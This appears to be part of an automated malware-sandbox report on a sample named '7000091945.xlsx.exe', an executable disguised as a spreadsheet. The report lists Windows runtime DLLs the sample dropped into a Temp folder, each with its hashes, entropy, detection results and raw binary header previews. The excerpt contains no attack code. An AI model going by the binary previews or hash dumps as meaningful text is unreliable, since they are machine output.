SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
